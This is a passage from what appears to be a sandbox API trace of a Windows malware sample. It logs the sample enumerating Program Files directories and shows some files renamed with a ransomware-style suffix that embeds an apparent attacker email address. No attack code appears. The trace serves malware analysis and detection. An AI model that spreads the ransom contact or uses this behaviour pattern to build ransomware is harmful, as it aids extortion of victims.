hHeap=0x710000) returned 1 [0159.614] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0159.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.684] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0159.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.684] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0159.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.684] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0159.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.685] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0159.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.686] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0159.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.686] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0159.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.686] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0159.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.687] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0159.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.688] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0159.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.688] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0159.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.688] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0159.688] FindClose (in: hFindFile=0x4532640 | out: hFindFile=0x4532640) returned 1 [0159.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.690] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0159.691] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.692] FindNextFileW (in: hFindFile=0x45320c0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0159.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.692] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0159.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.696] FindNextFileW (in: hFindFile=0x4531f40, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0159.696] FindClose (in: hFindFile=0x4531f40 | out: hFindFile=0x4531f40) returned 1 [0159.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.696] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0159.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.700] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0159.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.701] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa602060, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa602060, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0159.703] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.703] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="TextConv", cAlternateFileName="")) returned 1 [0159.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.704] FindNextFileW (in: hFindFile=0x45322c0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="en-US", cAlternateFileName="")) returned 0 [0159.704] FindClose (in: hFindFile=0x45322c0 | out: hFindFile=0x45322c0) returned 1 [0159.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.704] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="Triedit", cAlternateFileName="")) returned 1 [0159.705] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.705] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="en-US", cAlternateFileName="")) returned 0 [0159.705] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0159.705] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.705] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="VC", cAlternateFileName="")) returned 1 [0159.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.708] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="VGX", cAlternateFileName="")) returned 1 [0159.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.709] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="VSTO", cAlternateFileName="")) returned 1 [0159.718] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0159.718] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cf14a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x156cf14a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x156cf14a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x18986, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe.id-B4197730.[seavays@aol.com].save", cAlternateFileName="VSTOIN~1.SAV")) returned 1 [0159.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.719] FindNextFileW (in: hFindFile=0x4532000, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a629ce, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x15a629ce, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x15a88cfd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x29178, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="vstoee.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="VSTOEE~1.SAV")) returned 1 [0159.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.720] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="VSTO", cAlternateFileName="")) returned 0 [0159.720] FindClose (in: hFindFile=0x4532540 | out: hFindFile=0x4532540) returned 1 [0159.721] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4566710 | out: hHeap=0x710000) returned 1 [0159.721] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba25800, ftCreationTime.dwHighDateTime=0x1d52735, ftLastAccessTime.dwLowDateTime=0xc0155380, ftLastAccessTime.dwHighDateTime=0x1d4fd6e, ftLastWriteTime.dwLowDateTime=0xc0155380, ftLastWriteTime.dwHighDateTime=0x1d4fd6e, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="scored-prices.exe", cAlternateFileName="SCORED~1.EXE")) returned 1 [0159.721] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0159.721] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="System", cAlternateFileName="")) returned 1 [0159.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4566710 | out: hHeap=0x710000) returned 1 [0159.776] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0159.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a738 | out: hHeap=0x710000) returned 1 [0159.777] FindNextFileW (in: hFindFile=0x45322c0, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0159.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a738 | out: hHeap=0x710000) returned 1 [0159.778] FindNextFileW (in: hFindFile=0x45322c0, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="msadc", cAlternateFileName="")) returned 1 [0159.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4566710 | out: hHeap=0x710000) returned 1 [0159.781] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0159.782] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a738 | out: hHeap=0x710000) returned 1 [0159.782] FindNextFileW (in: hFindFile=0x45322c0, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0159.785] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4566710 | out: hHeap=0x710000) returned 1 [0159.785] FindNextFileW (in: hFindFile=0x4532480, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0159.786] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a738 | out: hHeap=0x710000) returned 1 [0159.786] FindNextFileW (in: hFindFile=0x45322c0, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0159.786] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0159.788] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: 